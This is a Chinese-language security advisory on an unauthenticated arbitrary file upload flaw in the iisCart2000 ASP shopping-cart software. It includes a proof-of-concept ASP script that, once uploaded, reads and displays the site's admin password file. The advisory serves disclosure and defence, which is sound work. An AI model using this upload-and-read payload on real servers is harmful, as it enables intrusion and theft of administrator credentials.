安全研究

安全漏洞
iisCart2000任意文件上传漏洞

发布日期:2003-05-31
更新日期:2003-06-05

受影响系统:
iisCart iisCart2000
描述:
BUGTRAQ  ID: 7765

iisCart2000是一款基于ASP的电子商务解决方案,支持使用浏览器进行文件上传。

iisCart2000包含的upload.asp脚本存在漏洞,使远程攻击者可以上传任意文件到有此漏洞的服务器中。

iiCART2k包含高级和基本两种上传类型,高级类型的漏洞存在于/admin/upload.asp脚本中,基本类型的问题存在于/upload.asp脚本中,这两个脚本都没有检查权限,并没有任何保护。任何攻击者可以上传恶意文件到服务器中。iiCART2k还提供/admin/upload.htm和/upload.htm脚本使攻击更加容易。

<*来源:Bosen (mobile@bosen.net
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105448678108571&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Bosen (mobile@bosen.net)提供了如下测试方法:

// 1ndonesian Security Team
// http://bosen.net/releases/
//
<% @ Language = JScript %>
<%
function WinPath(absPath) {this.absolutePath = absPath;}
function getAbsPath() {return this.absolutePath;}
WinPath.prototype.getAbsolutePath = getAbsPath;

function fileRead(file) {
  var FSO = new ActiveXObject("Scripting.FileSystemObject"), strOut = ""
  var tmp = file, f, g = FSO.GetFile(tmp);
  f = FSO.OpenTextFile(tmp, 1, false);
  strOut = "<PRE STYLE=\"font-size:9pt;\">";
  strOut+= Server.HTMLEncode(f.ReadAll());
  strOut+= "</PRE>";
  f.Close();
  return(strOut);
}

var a = new WinPath(Server.Mappath("/"));
var curDir   = a.getAbsolutePath();

// You can change these
var admin = curDir + "\\advanced\\admin\\pswd.asp";

with (Response) {
  Write("<b>ServerRoot : "+curDir+"<br></b>");
  Write("<b>Admin Info : "+admin+"<br><br></b>");
  Write(fileRead(admin));
}
%>

上传此ASP文件,可以显示当前配置文件内容。

建议:
厂商补丁:

iisCart
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.iiscart.com/

浏览次数:4032
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障